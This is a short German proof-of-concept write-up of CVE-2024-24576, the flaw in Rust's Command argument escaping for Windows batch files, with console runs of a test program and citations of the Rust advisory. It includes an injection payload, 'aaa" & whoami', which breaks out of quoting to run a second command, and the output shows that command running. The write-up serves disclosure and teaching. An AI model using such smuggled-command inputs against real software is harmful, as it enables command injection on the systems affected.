
Beispiel für den Anwendungsfall von CVE-2024-24576.
Die APIs Command::arg und Command::args geben in ihrer Dokumentation an, dass die Argumente unverändert an den gestarteten Prozess übergeben werden, unabhängig vom Inhalt der Argumente, und nicht von einer Shell ausgewertet werden. Das bedeutet, dass es sicher sein sollte, nicht vertrauenswürdige Eingaben als Argumente zu übergeben.
Unter Windows ist die Implementierung komplexer als auf anderen Plattformen, da die Windows-API nur einen einzigen String mit allen Argumenten für den gestarteten Prozess bereitstellt und es dem gestarteten Prozess obliegt, diese aufzuteilen. Die meisten Programme verwenden die Standard-C-Laufzeit-argv, was in der Praxis zu einer weitgehend einheitlichen Art der Argumentaufteilung führt.
Eine Ausnahme bildet jedoch cmd.exe (die unter anderem zur Ausführung von Batch-Dateien verwendet wird), die eine eigene Argumentaufteilungslogik besitzt. Dies zwingt die Standardbibliothek dazu, eine benutzerdefinierte Escaping-Methode für Argumente zu implementieren, die an Batch-Dateien übergeben werden. Leider wurde gemeldet, dass diese Escaping-Logik nicht gründlich genug war und es möglich war, bösartige Argumente zu übergeben, die zu einer beliebigen Shell-Ausführung führen konnten.
Das Ausführen der Datei main.rs mit folgenden Payloads ergibt:
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
Beachten Sie das escaped Argument mit dem " whoami
Nicht meine Entdeckung!
Quellen: https://github.com/rust-lang/rust/security/advisories/GHSA-q455-m56c-85mh https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/